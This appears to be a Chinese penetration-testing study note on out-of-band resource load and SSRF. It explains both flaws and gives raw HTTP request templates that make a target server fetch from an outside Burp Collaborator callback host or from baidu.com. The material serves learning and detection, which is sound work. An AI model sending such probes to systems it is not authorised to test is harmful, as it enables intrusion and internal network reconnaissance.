Out-of-band resource load(远程文件包含/带外资源加载)及SSRF外部服务交互攻击
渗透测试过程中遇到的一处OBR,站在大佬的肩膀上学习了。本文精简了最基本的远程文件包含(out-of-band resource load)和SSRF(外部服务交互攻击)的原理,通过学习51上blacksunny的一篇相关文章,加入了一些自己的理解,适当整理,这算是一篇学习记录。主要介绍了远程文件包含(out-of-band resource load)和SSRF(外部服务交互攻击)的原理及基本检测方法。
Out-of-band resource load发生的情况是将payload发送到目标应用上面导致目标先尝试通过一个域名获取内容,然后将获取到的内容整合到原始的返回数据之中。
burp v1.6.15往上的版本都有Burp Collaborato模块,此模块的其中一个检测点就是OBR,检测时需要与架在互联网的Burp Collaborato服务器交互判断。主动扫描可检测。
手动检测需要配置一个公网服务器,并且接收OBR传输特征并应答一段确认报文,检测端收到最终回传的来自OBR服务器的报文即攻击成功。从而达到了控制target服务器请求自定义的恶意服务器的动作。
服务器架构如下:
OBR手工检测方法:
[cc lang=txt]GET http://66ados96tkyx6mgii6irshwd248uwm0aqxgl5.burpcollaborator.net/ HTTP/1.1
Host: TARGETHOST
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close [/cc] 或者 target设为TARGETHOST(在burp中测试的话)[cc lang=txt]GET / HTTP/1.1
Host: http://66ados96tkyx6mgii6irshwd248uwm0aqxgl5.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close [/cc]
#SSRF与OBR很像,通过控制target访问其他网站,间接与第三方网站通信。相当于target做傀儡代理请求,因此增大了内网攻击面。
SSRF的手工检测方法:
[cc lang=txt]GET http://baidu.com HTTP/1.1
Host: TARGETHOST
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close [/cc]
SSRF因此与不限制源的漏洞。
#关于带内及带外区别:
通过信道区分的话,内带只有一条信道,而外带不止一条。
参考资料:
blacksunny的文章:https://www.cnblogs.com/blacksunny/p/8005053.html